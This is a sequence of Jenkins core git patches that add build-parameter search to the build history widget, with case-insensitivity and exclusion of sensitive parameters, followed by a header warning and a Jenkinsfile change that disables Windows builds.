                                          • -- GitLab From 488d11ab2d8cd73071a7f8f0697c10bc30ac18b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Thu, 29 Dec 2016 13:51:13 +0100 Subject: [PATCH 594/712] [JENKINS-40718] Search by build param values in Build history widget --- .../jenkins/widgets/HistoryPageFilter.java | 20 +++- .../widgets/HistoryPageFilterTest.java | 94 ++++++++++++++++++- 2 files changed, 109 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 04938ec9a6..2c1a44eaa9 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -25,6 +25,7 @@ package jenkins.widgets; import com.google.common.collect.Iterables; import com.google.common.collect.Iterators; +import hudson.model.Build; import hudson.model.Job; import hudson.model.Queue; import hudson.model.Run; @@ -37,6 +38,7 @@ import java.util.Comparator; import java.util.Iterator; import java.util.LinkedList; import java.util.List; +import java.util.Map; /** * History page filter. @@ -343,6 +345,10 @@ public class HistoryPageFilter { return true; } else if (fitsSearchString(run.getResult())) { return true; + } else if (run instanceof Build) { + if (fitsSearchBuild((Build) run)) { + return true; + } } // Non of the fuzzy matches "liked" the search term. @@ -361,7 +367,17 @@ public class HistoryPageFilter { return data.toString().toLowerCase().contains(searchString); } } - + return false; - } + } + + private boolean fitsSearchBuild(Build runAsBuild) { + Map buildVariables = runAsBuild.getBuildVariables(); + for (Object paramsValues : buildVariables.values()) { + if (fitsSearchString(paramsValues)) { + return true; + } + } + return false; + } } diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index f00969b769..6c7a6661cb 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -23,21 +23,27 @@ */ package jenkins.widgets; +import hudson.model.Build; +import hudson.model.FreeStyleBuild; +import hudson.model.FreeStyleProject; import hudson.model.Job; import hudson.model.MockItem; import hudson.model.ModelObject; import hudson.model.Queue; import hudson.model.Result; import hudson.model.Run; -import jenkins.widgets.HistoryPageEntry; -import jenkins.widgets.HistoryPageFilter; import org.junit.Assert; import org.junit.Test; import org.mockito.Mockito; import java.io.IOException; import java.util.ArrayList; +import java.util.Calendar; import java.util.List; +import java.util.Map; + +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.Lists; /** * @author tom.fennelly@gmail.com @@ -293,7 +299,62 @@ public class HistoryPageFilterTest { Assert.assertEquals(HistoryPageEntry.getEntryId(6), historyPageFilter.oldestOnPage); } - private List newQueueItems(long startId, long endId) { + @Test + public void test_search_runs_by_build_number() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + List runs = newRuns(23, 24); + List queueItems = newQueueItems(25, 26); + //and + historyPageFilter.setSearchString("23"); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(1, historyPageFilter.runs.size()); + Assert.assertEquals(HistoryPageEntry.getEntryId(23), historyPageFilter.runs.get(0).getEntryId()); + } + + @Test + public void test_search_runs_by_build_result() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + //and + historyPageFilter.setSearchString("failure"); + //and + List runs = Lists.newArrayList(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); + List queueItems = newQueueItems(3, 4); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(1, historyPageFilter.runs.size()); + Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + } + + @Test + public void test_search_builds_by_build_params() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + //and + historyPageFilter.setSearchString("dummyenv"); + //and + List runs = new ArrayList<>(); + runs.add(new MockBuild(2, ImmutableMap.of("env", "dummyEnv"))); + runs.add(new MockBuild(1, ImmutableMap.of("env", "otherEnv"))); + List queueItems = newQueueItems(3, 4); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(1, historyPageFilter.runs.size()); + Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + } + + private List newQueueItems(long startId, long endId) { List items = new ArrayList<>(); for (long queueId = startId; queueId <= endId; queueId++) { items.add(new MockItem(queueId)); @@ -329,6 +390,11 @@ public class HistoryPageFilterTest { this.queueId = queueId; } + public MockRun(long queueId, Result result) throws IOException { + this(queueId); + this.result = result; + } + @Override public int compareTo(Run o) { return 0; @@ -373,4 +439,26 @@ public class HistoryPageFilterTest { return super.getNumber(); } } + + private static class MockBuild extends Build { + + private final int buildNumber; + private final Map buildVariables; + + public MockBuild(int buildNumber, Map buildVariables) { + super(Mockito.mock(FreeStyleProject.class), Mockito.mock(Calendar.class)); + this.buildNumber = buildNumber; + this.buildVariables = buildVariables; + } + + @Override + public int getNumber() { + return buildNumber; + } + + @Override + public Map getBuildVariables() { + return buildVariables; + } + } } -- GitLab From 649464f1b8cdb6fe41ecd57f8bae29b0e3f9ca2c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Thu, 29 Dec 2016 13:52:35 +0100 Subject: [PATCH 595/712] [JENKINS-40718] Make search in Build history really case insensitive --- .../jenkins/widgets/HistoryPageFilter.java | 2 +- .../widgets/HistoryPageFilterTest.java | 19 ++++++++++++++++++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 2c1a44eaa9..f52d2770d6 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -364,7 +364,7 @@ public class HistoryPageFilter { if (data instanceof Number) { return data.toString().equals(searchString); } else { - return data.toString().toLowerCase().contains(searchString); + return data.toString().toLowerCase().contains(searchString.toLowerCase()); } } diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index 6c7a6661cb..9d77fd6a2d 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -334,12 +334,29 @@ public class HistoryPageFilterTest { Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); } + @Test + public void test_case_insensitivity_in_search_runs() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + List runs = Lists.newArrayList(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); + List queueItems = newQueueItems(3, 4); + //and + historyPageFilter.setSearchString("FAILure"); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(1, historyPageFilter.runs.size()); + Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + } + @Test public void test_search_builds_by_build_params() throws IOException { //given HistoryPageFilter historyPageFilter = newPage(5, null, null); //and - historyPageFilter.setSearchString("dummyenv"); + historyPageFilter.setSearchString("dummyEnv"); //and List runs = new ArrayList<>(); runs.add(new MockBuild(2, ImmutableMap.of("env", "dummyEnv"))); -- GitLab From 2c46d1f23220dd8c7c4de92173bca4eb9841b855 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Thu, 29 Dec 2016 13:54:36 +0100 Subject: [PATCH 596/712] [JENKINS-40718] Some Java 7 cleanup --- core/src/main/java/jenkins/widgets/HistoryPageFilter.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index f52d2770d6..1ec476b815 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -54,8 +54,8 @@ public class HistoryPageFilter { // Need to use different Lists for Queue.Items and Runs because // we need access to them separately in the jelly files for rendering. - public final List> queueItems = new ArrayList>(); - public final List> runs = new ArrayList>(); + public final List> queueItems = new ArrayList<>(); + public final List> runs = new ArrayList<>(); public boolean hasUpPage = false; // there are newer builds than on this page public boolean hasDownPage = false; // there are older builds than on this page -- GitLab From cfd797cb6aaeeb92b59838e9cc351bff2676c2d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Fri, 30 Dec 2016 15:13:08 +0100 Subject: [PATCH 597/712] [JENKINS-40718] Generalize Build to AbstractBuild --- core/src/main/java/jenkins/widgets/HistoryPageFilter.java | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 1ec476b815..517a08e7c8 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -25,7 +25,7 @@ package jenkins.widgets; import com.google.common.collect.Iterables; import com.google.common.collect.Iterators; -import hudson.model.Build; +import hudson.model.AbstractBuild; import hudson.model.Job; import hudson.model.Queue; import hudson.model.Run; @@ -345,8 +345,8 @@ public class HistoryPageFilter { return true; } else if (fitsSearchString(run.getResult())) { return true; - } else if (run instanceof Build) { - if (fitsSearchBuild((Build) run)) { + } else if (run instanceof AbstractBuild) { + if (fitsSearchBuild((AbstractBuild) run)) { return true; } } @@ -371,7 +371,7 @@ public class HistoryPageFilter { return false; } - private boolean fitsSearchBuild(Build runAsBuild) { + private boolean fitsSearchBuild(AbstractBuild runAsBuild) { Map buildVariables = runAsBuild.getBuildVariables(); for (Object paramsValues : buildVariables.values()) { if (fitsSearchString(paramsValues)) { -- GitLab From 67e7004677ec03b8cb99688ca685fcbc224962ec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Wed, 1 Feb 2017 13:00:13 +0100 Subject: [PATCH 598/712] [JENKINS-40718] Support for Pipeline jobs --- .../jenkins/widgets/HistoryPageFilter.java | 23 +++++++- .../widgets/HistoryPageFilterTest.java | 56 +++++++++++++++++-- 2 files changed, 70 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 517a08e7c8..1cb851f402 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -27,6 +27,8 @@ import com.google.common.collect.Iterables; import com.google.common.collect.Iterators; import hudson.model.AbstractBuild; import hudson.model.Job; +import hudson.model.ParameterValue; +import hudson.model.ParametersAction; import hudson.model.Queue; import hudson.model.Run; import hudson.widgets.HistoryWidget; @@ -345,8 +347,11 @@ public class HistoryPageFilter { return true; } else if (fitsSearchString(run.getResult())) { return true; - } else if (run instanceof AbstractBuild) { - if (fitsSearchBuild((AbstractBuild) run)) { + } else if (run instanceof AbstractBuild && fitsSearchBuildVariables((AbstractBuild) run)) { + return true; + } else { + ParametersAction parametersAction = run.getAction(ParametersAction.class); + if (parametersAction != null && fitsSearchBuildParameters(parametersAction)) { return true; } } @@ -371,8 +376,9 @@ public class HistoryPageFilter { return false; } - private boolean fitsSearchBuild(AbstractBuild runAsBuild) { + private boolean fitsSearchBuildVariables(AbstractBuild runAsBuild) { Map buildVariables = runAsBuild.getBuildVariables(); + //TODO: Add isSensitive filtering for (Object paramsValues : buildVariables.values()) { if (fitsSearchString(paramsValues)) { return true; @@ -380,4 +386,15 @@ public class HistoryPageFilter { } return false; } + + private boolean fitsSearchBuildParameters(ParametersAction parametersAction) { + List parameters = parametersAction.getParameters(); + //TODO: Add isSensitive filtering + for (ParameterValue parameter : parameters) { + if (fitsSearchString(parameter.getValue())) { + return true; + } + } + return false; + } } diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index 9d77fd6a2d..b8dbd40c27 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -29,9 +29,13 @@ import hudson.model.FreeStyleProject; import hudson.model.Job; import hudson.model.MockItem; import hudson.model.ModelObject; +import hudson.model.ParameterValue; +import hudson.model.ParametersAction; import hudson.model.Queue; import hudson.model.Result; import hudson.model.Run; +import hudson.model.StringParameterValue; + import org.junit.Assert; import org.junit.Test; import org.mockito.Mockito; @@ -39,6 +43,7 @@ import org.mockito.Mockito; import java.io.IOException; import java.util.ArrayList; import java.util.Calendar; +import java.util.Collections; import java.util.List; import java.util.Map; @@ -351,6 +356,26 @@ public class HistoryPageFilterTest { Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); } + @Test + public void test_search_builds_by_build_variables() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + //and + historyPageFilter.setSearchString("dummyEnv"); + //and + List runs = new ArrayList<>(); + runs.add(new MockBuild(2).withBuildVariables(ImmutableMap.of("env", "dummyEnv"))); + runs.add(new MockBuild(1).withBuildVariables(ImmutableMap.of("env", "otherEnv"))); + List queueItems = newQueueItems(3, 4); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(1, historyPageFilter.runs.size()); + Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + } + @Test public void test_search_builds_by_build_params() throws IOException { //given @@ -359,8 +384,8 @@ public class HistoryPageFilterTest { historyPageFilter.setSearchString("dummyEnv"); //and List runs = new ArrayList<>(); - runs.add(new MockBuild(2, ImmutableMap.of("env", "dummyEnv"))); - runs.add(new MockBuild(1, ImmutableMap.of("env", "otherEnv"))); + runs.add(new MockBuild(2).withBuildParameters(ImmutableMap.of("env", "dummyEnv"))); + runs.add(new MockBuild(1).withBuildParameters(ImmutableMap.of("env", "otherEnv"))); List queueItems = newQueueItems(3, 4); //when @@ -371,7 +396,7 @@ public class HistoryPageFilterTest { Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); } - private List newQueueItems(long startId, long endId) { + private List newQueueItems(long startId, long endId) { List items = new ArrayList<>(); for (long queueId = startId; queueId <= endId; queueId++) { items.add(new MockItem(queueId)); @@ -460,12 +485,12 @@ public class HistoryPageFilterTest { private static class MockBuild extends Build { private final int buildNumber; - private final Map buildVariables; - public MockBuild(int buildNumber, Map buildVariables) { + private Map buildVariables = Collections.emptyMap(); + + private MockBuild(int buildNumber) { super(Mockito.mock(FreeStyleProject.class), Mockito.mock(Calendar.class)); this.buildNumber = buildNumber; - this.buildVariables = buildVariables; } @Override @@ -477,5 +502,24 @@ public class HistoryPageFilterTest { public Map getBuildVariables() { return buildVariables; } + + MockBuild withBuildVariables(Map buildVariables) { + this.buildVariables = buildVariables; + return this; + } + + MockBuild withBuildParameters(Map buildParametersAsMap) throws IOException { + addAction(new ParametersAction(buildPropertiesMapToParameterValues(buildParametersAsMap), buildParametersAsMap.keySet())); + return this; + } + + //TODO: Rewrite in functional style when Java 8 is available + private List buildPropertiesMapToParameterValues(Map buildParametersAsMap) { + List parameterValues = new ArrayList<>(); + for (Map.Entry parameter : buildParametersAsMap.entrySet()) { + parameterValues.add(new StringParameterValue(parameter.getKey(), parameter.getValue())); + } + return parameterValues; + } } } -- GitLab From 785a8cf18de5b59e5cb2e0e5a87d50c838501842 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Wed, 1 Feb 2017 16:15:07 +0100 Subject: [PATCH 599/712] [JENKINS-40718] Filter out sensitive parameters on search --- .../jenkins/widgets/HistoryPageFilter.java | 10 ++--- .../widgets/HistoryPageFilterTest.java | 38 ++++++++++++++++++- 2 files changed, 41 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 1cb851f402..4ebcc59f03 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -376,10 +376,9 @@ public class HistoryPageFilter { return false; } - private boolean fitsSearchBuildVariables(AbstractBuild runAsBuild) { - Map buildVariables = runAsBuild.getBuildVariables(); - //TODO: Add isSensitive filtering - for (Object paramsValues : buildVariables.values()) { + private boolean fitsSearchBuildVariables(AbstractBuild runAsBuild) { + Map buildVariables = runAsBuild.getBuildVariables(); + for (String paramsValues : buildVariables.values()) { if (fitsSearchString(paramsValues)) { return true; } @@ -389,9 +388,8 @@ public class HistoryPageFilter { private boolean fitsSearchBuildParameters(ParametersAction parametersAction) { List parameters = parametersAction.getParameters(); - //TODO: Add isSensitive filtering for (ParameterValue parameter : parameters) { - if (fitsSearchString(parameter.getValue())) { + if (!parameter.isSensitive() && fitsSearchString(parameter.getValue())) { return true; } } diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index b8dbd40c27..9799fc99e5 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -47,6 +47,7 @@ import java.util.Collections; import java.util.List; import java.util.Map; +import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableMap; import com.google.common.collect.Lists; @@ -396,6 +397,26 @@ public class HistoryPageFilterTest { Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); } + @Test + public void test_ignore_sensitive_parameters_in_search_builds_by_build_params() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + //and + historyPageFilter.setSearchString("pass1"); + //and + List runs = new ArrayList<>(); + runs.add(new MockBuild(2).withBuildParameters(ImmutableMap.of("plainPassword", "pass1plain"))); + runs.add(new MockBuild(1).withSensitiveBuildParameters("password", "pass1")); + List queueItems = newQueueItems(3, 4); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(1, historyPageFilter.runs.size()); + Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + } + private List newQueueItems(long startId, long endId) { List items = new ArrayList<>(); for (long queueId = startId; queueId <= endId; queueId++) { @@ -482,7 +503,7 @@ public class HistoryPageFilterTest { } } - private static class MockBuild extends Build { + private static class MockBuild extends Build { private final int buildNumber; @@ -521,5 +542,20 @@ public class HistoryPageFilterTest { } return parameterValues; } + + MockBuild withSensitiveBuildParameters(String paramName, String paramValue) throws IOException { + addAction(new ParametersAction(ImmutableList.of(createSensitiveStringParameterValue(paramName, paramValue)), + ImmutableList.of(paramName))); + return this; + } + + private StringParameterValue createSensitiveStringParameterValue(final String paramName, final String paramValue) { + return new StringParameterValue(paramName, paramValue) { + @Override + public boolean isSensitive() { + return true; + } + }; + } } } -- GitLab From 0a221d0b47c3e7693879a5906e3161160fce19bd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Wed, 1 Feb 2017 16:53:01 +0100 Subject: [PATCH 600/712] [JENKINS-40718] Consider insensitiveSearch user configuration --- .../jenkins/widgets/HistoryPageFilter.java | 17 +++++++++----- .../widgets/HistoryPageFilterTest.java | 22 +++++++++++++++++++ 2 files changed, 33 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java index 4ebcc59f03..269f5e44fc 100644 --- a/core/src/main/java/jenkins/widgets/HistoryPageFilter.java +++ b/core/src/main/java/jenkins/widgets/HistoryPageFilter.java @@ -31,6 +31,7 @@ import hudson.model.ParameterValue; import hudson.model.ParametersAction; import hudson.model.Queue; import hudson.model.Run; +import hudson.search.UserSearchProperty; import hudson.widgets.HistoryWidget; import javax.annotation.Nonnull; @@ -365,15 +366,19 @@ public class HistoryPageFilter { return true; } - if (data != null) { - if (data instanceof Number) { - return data.toString().equals(searchString); - } else { + if (data == null) { + return false; + } + + if (data instanceof Number) { + return data.toString().equals(searchString); + } else { + if (UserSearchProperty.isCaseInsensitive()) { return data.toString().toLowerCase().contains(searchString.toLowerCase()); + } else { + return data.toString().contains(searchString); } } - - return false; } private boolean fitsSearchBuildVariables(AbstractBuild runAsBuild) { diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index 9799fc99e5..96c9ba9619 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -37,6 +37,7 @@ import hudson.model.Run; import hudson.model.StringParameterValue; import org.junit.Assert; +import org.junit.Ignore; import org.junit.Test; import org.mockito.Mockito; @@ -323,8 +324,27 @@ public class HistoryPageFilterTest { } @Test + public void test_search_should_be_case_sensitive_for_anonymous_user() throws IOException { + //given + HistoryPageFilter historyPageFilter = newPage(5, null, null); + //and + historyPageFilter.setSearchString("failure"); + //and + List runs = Lists.newArrayList(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); + List queueItems = newQueueItems(3, 4); + + //when + historyPageFilter.add(runs, queueItems); + + //then + Assert.assertEquals(0, historyPageFilter.runs.size()); + } + + @Test + @Ignore //User with insensitiveSearch enabled needs to be injected public void test_search_runs_by_build_result() throws IOException { //given + //TODO: Set user with insensitiveSearch enabled HistoryPageFilter historyPageFilter = newPage(5, null, null); //and historyPageFilter.setSearchString("failure"); @@ -341,8 +361,10 @@ public class HistoryPageFilterTest { } @Test + @Ignore //User with insensitiveSearch enabled needs to be injected public void test_case_insensitivity_in_search_runs() throws IOException { //given + //TODO: Set user with insensitiveSearch enabled HistoryPageFilter historyPageFilter = newPage(5, null, null); List runs = Lists.newArrayList(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); List queueItems = newQueueItems(3, 4); -- GitLab From 065a04291053430e40b073bf037236c70c5f8d98 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marcin=20Zaj=C4=85czkowski?= Date: Wed, 1 Feb 2017 17:25:21 +0100 Subject: [PATCH 601/712] [JENKINS-40718] Reduce duplication in tests --- .../widgets/HistoryPageFilterTest.java | 83 +++++-------------- 1 file changed, 20 insertions(+), 63 deletions(-) diff --git a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java index 96c9ba9619..6d2eaf27d3 100644 --- a/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java +++ b/core/src/test/java/jenkins/widgets/HistoryPageFilterTest.java @@ -343,92 +343,49 @@ public class HistoryPageFilterTest { @Test @Ignore //User with insensitiveSearch enabled needs to be injected public void test_search_runs_by_build_result() throws IOException { - //given //TODO: Set user with insensitiveSearch enabled - HistoryPageFilter historyPageFilter = newPage(5, null, null); - //and - historyPageFilter.setSearchString("failure"); - //and - List runs = Lists.newArrayList(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); - List queueItems = newQueueItems(3, 4); - - //when - historyPageFilter.add(runs, queueItems); - - //then - Assert.assertEquals(1, historyPageFilter.runs.size()); - Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + List runs = ImmutableList.of(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); + assertOneMatchingBuildForGivenSearchStringAndRunItems("failure", runs); } @Test @Ignore //User with insensitiveSearch enabled needs to be injected public void test_case_insensitivity_in_search_runs() throws IOException { - //given //TODO: Set user with insensitiveSearch enabled - HistoryPageFilter historyPageFilter = newPage(5, null, null); - List runs = Lists.newArrayList(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); - List queueItems = newQueueItems(3, 4); - //and - historyPageFilter.setSearchString("FAILure"); - - //when - historyPageFilter.add(runs, queueItems); - - //then - Assert.assertEquals(1, historyPageFilter.runs.size()); - Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + List runs = ImmutableList.of(new MockRun(2, Result.FAILURE), new MockRun(1, Result.SUCCESS)); + assertOneMatchingBuildForGivenSearchStringAndRunItems("FAILure", runs); } @Test public void test_search_builds_by_build_variables() throws IOException { - //given - HistoryPageFilter historyPageFilter = newPage(5, null, null); - //and - historyPageFilter.setSearchString("dummyEnv"); - //and - List runs = new ArrayList<>(); - runs.add(new MockBuild(2).withBuildVariables(ImmutableMap.of("env", "dummyEnv"))); - runs.add(new MockBuild(1).withBuildVariables(ImmutableMap.of("env", "otherEnv"))); - List queueItems = newQueueItems(3, 4); - - //when - historyPageFilter.add(runs, queueItems); - - //then - Assert.assertEquals(1, historyPageFilter.runs.size()); - Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + List runs = ImmutableList.of( + new MockBuild(2).withBuildVariables(ImmutableMap.of("env", "dummyEnv")), + new MockBuild(1).withBuildVariables(ImmutableMap.of("env", "otherEnv"))); + assertOneMatchingBuildForGivenSearchStringAndRunItems("dummyEnv", runs); } @Test public void test_search_builds_by_build_params() throws IOException { - //given - HistoryPageFilter historyPageFilter = newPage(5, null, null); - //and - historyPageFilter.setSearchString("dummyEnv"); - //and - List runs = new ArrayList<>(); - runs.add(new MockBuild(2).withBuildParameters(ImmutableMap.of("env", "dummyEnv"))); - runs.add(new MockBuild(1).withBuildParameters(ImmutableMap.of("env", "otherEnv"))); - List queueItems = newQueueItems(3, 4); - - //when - historyPageFilter.add(runs, queueItems); - - //then - Assert.assertEquals(1, historyPageFilter.runs.size()); - Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId()); + List runs = ImmutableList.of( + new MockBuild(2).withBuildParameters(ImmutableMap.of("env", "dummyEnv")), + new MockBuild(1).withBuildParameters(ImmutableMap.of("env", "otherEnv"))); + assertOneMatchingBuildForGivenSearchStringAndRunItems("dummyEnv", runs); } @Test public void test_ignore_sensitive_parameters_in_search_builds_by_build_params() throws IOException { + List runs = ImmutableList.of( + new MockBuild(2).withBuildParameters(ImmutableMap.of("plainPassword", "pass1plain")), + new MockBuild(1).withSensitiveBuildParameters("password", "pass1")); + assertOneMatchingBuildForGivenSearchStringAndRunItems("pass1", runs); + } + + private void assertOneMatchingBuildForGivenSearchStringAndRunItems(String searchString, List runs) { //given HistoryPageFilter historyPageFilter = newPage(5, null, null); //and - historyPageFilter.setSearchString("pass1"); + historyPageFilter.setSearchString(searchString); //and - List runs = new ArrayList<>(); - runs.add(new MockBuild(2).withBuildParameters(ImmutableMap.of("plainPassword", "pass1plain"))); - runs.add(new MockBuild(1).withSensitiveBuildParameters("password", "pass1")); List queueItems = newQueueItems(3, 4); //when -- GitLab From 20ceadb36636cdffc1e5b215ce23df1a03cdd04d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 3 Feb 2017 12:13:42 -0500 Subject: [PATCH 602/712] @oleg-nenashev requests a warning about the disabled headers. --- core/src/main/java/hudson/security/AccessDeniedException2.java | 2 ++ .../test/java/hudson/security/AccessDeniedException2Test.java | 1 + 2 files changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/security/AccessDeniedException2.java b/core/src/main/java/hudson/security/AccessDeniedException2.java index 722451030c..7b39396bf6 100644 --- a/core/src/main/java/hudson/security/AccessDeniedException2.java +++ b/core/src/main/java/hudson/security/AccessDeniedException2.java @@ -47,6 +47,8 @@ public class AccessDeniedException2 extends AccessDeniedException { for (GrantedAuthority auth : authentication.getAuthorities()) { rsp.addHeader("X-You-Are-In-Group",auth.getAuthority()); } + } else { + rsp.addHeader("X-You-Are-In-Group-Disabled", "JENKINS-39402: use -Dhudson.security.AccessDeniedException2.REPORT_GROUP_HEADERS=true or use /whoAmI to diagnose"); } rsp.addHeader("X-Required-Permission", permission.getId()); for (Permission p=permission.impliedBy; p!=null; p=p.impliedBy) { diff --git a/test/src/test/java/hudson/security/AccessDeniedException2Test.java b/test/src/test/java/hudson/security/AccessDeniedException2Test.java index 20a6172241..2d43f61919 100644 --- a/test/src/test/java/hudson/security/AccessDeniedException2Test.java +++ b/test/src/test/java/hudson/security/AccessDeniedException2Test.java @@ -54,6 +54,7 @@ public class AccessDeniedException2Test { fail("should not have been allowed to access anything"); } catch (FailingHttpStatusCodeException x) { assertEquals(HttpURLConnection.HTTP_FORBIDDEN, x.getStatusCode()); + assertNotNull(x.getResponse().getResponseHeaderValue("X-You-Are-In-Group-Disabled")); } } -- GitLab From d46fc53ca4215bf84ecacadbe03e7789c9c019ec Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 3 Feb 2017 12:19:43 -0500 Subject: [PATCH 603/712] Disable Windows builds until they are fixed. --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 73bcc7ae51..1a67c6c585 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -19,7 +19,7 @@ properties([[$class: 'jenkins.model.BuildDiscarderProperty', strategy: [$class: artifactNumToKeepStr: '20']]]) // see https://github.com/jenkins-infra/documentation/blob/master/ci.adoc for information on what node types are available -def buildTypes = ['Linux', 'Windows'] +def buildTypes = ['Linux'] // TODO add 'Windows' def builds = 